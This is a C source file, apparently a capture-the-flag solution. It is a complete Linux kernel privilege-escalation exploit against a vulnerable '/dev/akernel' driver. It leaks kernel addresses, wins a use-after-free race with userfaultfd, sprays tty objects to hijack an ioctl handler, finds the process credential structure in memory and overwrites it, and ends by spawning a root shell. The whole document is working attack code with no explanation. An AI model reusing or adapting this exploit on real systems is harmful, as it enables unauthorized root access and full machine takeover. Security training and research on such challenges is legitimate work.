1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285
| #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <ctype.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/signal.h> #include <string.h> #include <semaphore.h> #include <syscall.h> #include <linux/userfaultfd.h> #include <sys/prctl.h> #include <pthread.h> #include <poll.h>
#define _QWORD unsigned long #define _DWORD unsigned int #define _WORD unsigned short #define _BYTE unsigned char #define ULL unsigned long long #define CLOSE printf("\033[0m\n"); #define RED printf("\033[31m"); #define GREEN printf("\033[36m"); #define BLUE printf("\033[34m"); #define YELLOW printf("\033[33m"); #define PURPLE printf("\033[35m");
void binary_dump(char* buf, size_t size, long long base_addr = 0) { printf("\033[33mDump:\n\033[0m"); char* ptr; for (int i = 0; i < size / 0x20; i++) { ptr = buf + i * 0x20; printf("0x%016llx: ", base_addr + i * 0x20); for (int j = 0; j < 4; j++) { printf("0x%016llx ", *(long long*)(ptr + 8 * j)); } printf(" "); for (int j = 0; j < 0x20; j++) { printf("%c", isprint(ptr[j]) ? ptr[j] : '.'); } putchar('\n'); } if (size % 0x20 != 0) { int k = size - size % 0x20; printf("0x%016llx: ", base_addr + k); ptr = buf + k; for (int i = 0; i <= (size - k) / 8; i++) { printf("0x%016llx ", *(long long*)(ptr + 8 * i)); } for (int i = 0; i < 3 - (size - k) / 8; i++) { printf("%19c", ' '); } printf(" "); for (int j = 0; j < size - k; j++) { printf("%c", isprint(ptr[j]) ? ptr[j] : '.'); } putchar('\n'); } }
unsigned long long user_sp, user_cs, user_ss, user_rflags, user_rip;
void get_shell() { printf("\033[35mGetShell Success!\033[0m\n"); system("/bin/sh"); return; }
void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs,cs;" "mov user_sp,rsp;" "mov user_ss,ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); user_rip = (unsigned long long)get_shell; puts("\033[34mUser land saved.\033[0m"); printf("\033[34muser_ss:0x%llx\033[0m\n", user_ss); printf("\033[34muser_sp:0x%llx\033[0m\n", user_sp); printf("\033[34muser_rflags:0x%llx\033[0m\n", user_rflags); printf("\033[34muser_cs:0x%llx\033[0m\n", user_cs); printf("\033[34muser_rip:0x%llx\033[0m\n", user_rip); }
char buf[0x1000]; int spray[0x20]; int fd, tty1, tty2; long save_pkr_not_offset = 0x112e3c4, save_cc_not_offset = 0x1124af0; long kernel_entry = 0xfffffe0000000000, kernel_base, ko_save_addr, need_kernel_addr, ko_addr, ptr; sem_t sem1, sem2, sem3;
void RegisterUserfault(void* start, int len, void* handler) { int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); uffdio_register ur = { 0 }; uffdio_api ua = { 0 }; ur.range.start = (ULL)start; ur.range.len = len; ur.mode = UFFDIO_REGISTER_MODE_MISSING; ua.api = UFFD_API; ua.features = 0; if (ioctl(uffd, UFFDIO_API, &ua) == -1) perror("[-] ioctl-UFFDIO_API"); ioctl(uffd, UFFDIO_REGISTER, &ur); pthread_t pt; pthread_create(&pt, NULL, (void* (*)(void*))handler, (void*)uffd); }
void UserfaultHandler1(int uffd) { uffd_msg msg; uffdio_copy uc = { 0 }; unsigned long* data = (unsigned long*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); int idx = 0x11; data[0] = 0x0000000100005401; data[2] = ptr; data[3] = ptr; data[12] = kernel_base + 0x055a47; data[0x268 / 8] = ptr + 0x268; for (;;) { pollfd pf = { 0 }; pf.fd = uffd; pf.events = POLLIN; poll(&pf, 1, -1); read(uffd, &msg, sizeof(msg)); if (msg.event <= 0) { printf("Pass one event."); continue; } RED printf("Stage 1."); CLOSE; sem_post(&sem1); sem_wait(&sem2); RED printf("Stage 2."); CLOSE; uc.src = (ULL)data; uc.dst = msg.arg.pagefault.address & ~(getpagesize() - 1); uc.len = getpagesize(); uc.mode = 0; uc.copy = 0; ioctl(uffd, UFFDIO_COPY, &uc);
sem_post(&sem3); break; } }
void UserfaultHandler2(int uffd) { uffd_msg msg; uffdio_copy uc = { 0 }; unsigned long* data = (unsigned long*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); int idx = 0x11; data[0] = 0x0000000100005401; data[2] = ptr; data[3] = ptr; data[12] = kernel_base + 0x555d9; data[0x268 / 8] = ptr + 0x268; for (;;) { pollfd pf = { 0 }; pf.fd = uffd; pf.events = POLLIN; poll(&pf, 1, -1); read(uffd, &msg, sizeof(msg)); if (msg.event <= 0) { printf("Pass one event."); continue; } RED printf("Stage 1."); CLOSE; sem_post(&sem1); sem_wait(&sem2); RED printf("Stage 2."); CLOSE; uc.src = (ULL)data; uc.dst = msg.arg.pagefault.address & ~(getpagesize() - 1); uc.len = getpagesize(); uc.mode = 0; uc.copy = 0; ioctl(uffd, UFFDIO_COPY, &uc); sem_post(&sem3); break; } }
void UAF() { sem_wait(&sem1); ioctl(fd, 0xFF01); for (int i = 0; i < 0x20; i++) { spray[i] = open("/dev/ptmx", O_RDWR); } sem_post(&sem2); }
int main() { save_user_land(); prctl(PR_SET_NAME, "0rb1t123"); fd = open("/dev/akernel", O_RDWR); signal(SIGSEGV, (sighandler_t)get_shell); sem_init(&sem1, 0, 0); sem_init(&sem2, 0, 0); sem_init(&sem3, 0, 0); ioctl(fd, 0xFF00); ioctl(fd, 0xFF04, kernel_entry + 4); read(fd, buf, 0x100); binary_dump(buf, 0x100, 0); kernel_base = *(long*)buf - 0x208e00; YELLOW printf("kernel base: 0x%lx", kernel_base); CLOSE; ko_save_addr = kernel_base + 0x1407a98; ioctl(fd, 0xFF04, ko_save_addr); read(fd, buf, 0x100); binary_dump(buf, 0x100, 0); ko_addr = *(long*)buf; YELLOW printf("ko addr: 0x%lx", ko_addr); CLOSE; ioctl(fd, 0xFF04, kernel_base + 0x114d0d8); read(fd, buf, 0x100); binary_dump(buf, 0x100, 0); need_kernel_addr = *(long*)buf; YELLOW printf("need kernel addr: 0x%lx", need_kernel_addr); CLOSE; ioctl(fd, 0xFF04, ko_addr + 0x2528); read(fd, buf, 0x100); binary_dump(buf, 0x100, 0); ptr = *(long*)buf; YELLOW printf("ptr: 0x%lx", ptr); CLOSE; void* map = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); RegisterUserfault(map, 0x1000, (void*)UserfaultHandler1); pthread_t pt; pthread_create(&pt, NULL, (void* (*)(void*))UAF, NULL); RED printf("-------------Step 1.-------------"); CLOSE; write(fd, map, 0x2e0); sem_wait(&sem3); RED printf("Stage 3."); CLOSE; for (int i = 0; i < 0x20; i++) { int ret = ioctl(spray[i], 0, ptr - kernel_base - 0x055a47); if (ret == 0x0005401) { tty1 = spray[i]; GREEN printf("UAF success."); CLOSE; for (int j = i + 1; j < 0x20; j++) { close(spray[j]); } break; } close(spray[i]); } if (!tty1) { perror("Not found uaf tty."); return 0; } long cred = 0; for (int i = -0x400000; i < 0; i += 4) { int ret = ioctl(tty1, 0, ptr + i - kernel_base - 0x055a47); if (ret == '1br0') { ret = ioctl(tty1, 0, ptr + i + 4 - kernel_base - 0x055a47); if (ret == '321t') { cred = (unsigned int)ioctl(tty1, 0, ptr + i - 0x10 - kernel_base - 0x055a47); cred |= (long)ioctl(tty1, 0, ptr + i - 0x10 + 4 - kernel_base - 0x055a47) << 32; if (!cred)continue; GREEN printf("Found Cred addr is 0x%lx.", cred); CLOSE; break; } } } if (!cred) { perror("Not found cred."); return 0; } RED printf("-------------Step 2.-------------"); CLOSE; void *map2 = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); RegisterUserfault(map2, 0x1000, (void*)UserfaultHandler2); pthread_t pt2; pthread_create(&pt2, NULL, (void* (*)(void*))UAF, NULL); ioctl(fd, 0xFF00); ptr = (unsigned int)ioctl(tty1, 0, ko_addr + 0x2528 - kernel_base - 0x055a47); ptr |= (long)ioctl(tty1, 0, ko_addr + 0x2528 + 4 - kernel_base - 0x055a47) << 32; YELLOW printf("new ptr: 0x%lx", ptr); CLOSE; write(fd, map2, 0x2e0); sem_wait(&sem3); RED printf("Stage 3."); CLOSE; for (int i = 0; i < 0x20; i++) { for (int j = 1; j < 9; j++) { ioctl(spray[i], 0, cred + 4*j - 0x18); } } get_shell(); return 0; }
|